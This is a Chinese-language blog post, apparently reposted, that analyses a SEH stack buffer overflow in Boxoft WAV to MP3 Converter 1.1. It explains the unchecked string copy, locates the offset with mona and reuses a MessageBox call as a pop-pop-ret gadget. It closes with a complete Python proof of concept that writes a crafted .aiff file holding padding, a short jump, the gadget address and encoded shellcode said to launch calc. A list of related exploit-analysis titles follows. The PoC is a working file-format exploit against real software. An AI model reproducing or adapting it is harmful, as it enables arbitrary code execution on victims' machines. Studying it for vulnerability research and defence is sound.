Boxoft WAV to MP3 Converter 1.1 漏洞分析及利用[SEH]
2017-08-16 09:39
881 查看
1.软件简介
BoxSoft WAV to MP3 Converter是一个100%免费功能强大的音频转换工具,可以批量的把WAV格式文件转换成高质量的MP3音频文件,它配备了标准的音频编码器,你可以设置比特率和一次转换多个音频文件,另一个方便的特性是可以设置热点目录,在wav转MP3时自动把文件写入该目录进行监视。测试平台:Microsoft Windows 7 SP3 (中文版)
2.漏洞成因
由于在拷贝字符串的时候,没有的对长度进行检测,导致栈溢出.3.利用过程
3.1 使用mona生成测试字符,构造aiff文件 .观察异常偏移.
3.2 通过mona确定漏洞触发偏移.
3.3 根据跟踪我们可以发现,因为覆盖了SEH链表,导致程序崩溃.
因此我们需要跳板指令 “pop pop ret ”.为什么需要跳板指令呢?
我们看一下异常处理函数handler4的原型:
EXCEPTION_DISPOSITION __cdecl _except_handler4( IN struct _EXCEPTION_RECORD *ExceptionRecord, IN PVOID EstablisherFrame, //指向下一个SEH处理函数的指针 next seh IN OUT struct _CONTEXT *ContextRecord, IN OUT PVOID DispatcherContext );
而调用这个函数的起始位置,栈中分布应该是这样的:
如果我们得到了EstablisherFrame的值,那么我们也就得到了我们的溢出数据在栈中的地址.根据这个我们就可以确定我们ShellCode的相对布局.如图:
现在我们需要去找跳板指令.这里我们使用程序空间中的0x004043A4的MessageBox来实现.
004043A0 |. /75 13 jnz short wavtomp3.004043B5 004043A2 |. |6A 00 push 0x0 ; /Style = MB_OK|MB_APPLMODAL 004043A4 |. |68 64504C00 push wavtomp3.004C5064 ; |Title = "Error" 注意这个位置 004043A9 |. |68 6C504C00 push wavtomp3.004C506C|Text = "Runtime error at 00000000" 004043AE |. |6A 00 push 0x0 |hOwner = NULL 004043B0 |. |E8 33CFFFFF call <jmp.&user32.MessageBoxA> 004043B5 |> \5A pop edx ; gdi32.76AF7349 004043B6 \. C3 retn
我们在0x004043A4开始执行,相当于我们给MessageBox传了三个参数,但是MessageBox需要四个参数,整体执行下来相当于一个Pop指令.再加上下面的pop edx retn. 就是跳板指令了.
4.PoC
这里使用python来实现:#python f = open("Expolit.aiff", "w") f.write("A" * 4132) # 4136 - 4 f.write("\xeb\x06\x90\x90") # jmp 06 nop nop f.write("\xa4\x43\x40\x00") # 构造 pop pop ret 这里利用了MessageBox函数 # Shelcode: f.write("\x90" * 20) #ShellCode前填充NOP f.write("\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1" "\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63" "\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1" "\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96" "\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a" "\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa" "\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde" "\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc" "\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36" "\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6" "\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72" "\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc" "\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2" "\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1" "\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80" "\xc4\xd9") #弹出calc f.write("\x90" * 20)#ShellCode 后填充Nop f.close()
5.结语
这次栈溢出对ShellCode的长度有限制.ShellCode最大长度为359个字节.在覆盖SEH使用跳板指令”pop xx pop xx retn”的时候,巧妙的使用了MessageBox函数来达到一个POP的效果在配合后面的POP xx retn ,达到了跳板指令的效果.
相关文章推荐
- Easy RM to MP3 Converter漏洞分析报告
- Easy RM to MP3 Converter漏洞分析报告
- Easy RM to MP3 Converter Version 2.7.3 700漏洞分析
- 漏洞学习之CVE-2009-1330 Easy RM to MP3 Converter
- iphone利用AudioQueue播放音频文件(mp3,aac,caf,wav等)
- FakeID签名漏洞分析及利用(二)
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
- CRLF Injection漏洞的利用与实例分析
- [Unix/Linux Sysadmin] [Shell Script] linux m4a to mp3 converter (转换m4a到mp3格式)
- MiniWeb0.8.19的最新漏洞分析及利用方法!
- Easy File Sharing Web Server 7.2 漏洞分析及利用
- RM2MP3溢出漏洞报告【利用篇】
- JPA中的failed to lazily initialize a collection of role:xxxx no session or session was closed异常分析与解决
- Java反序列化漏洞通用利用分析
- Apache漏洞利用与安全加固实例分析
- 非常见SQL注入漏洞及利用 Unusual SQL injection vulnerabilities and how to exploit them
- SSRF漏洞分析与利用
- FakeID签名漏洞分析及利用
- Lib之过?Java反序列化漏洞通用利用分析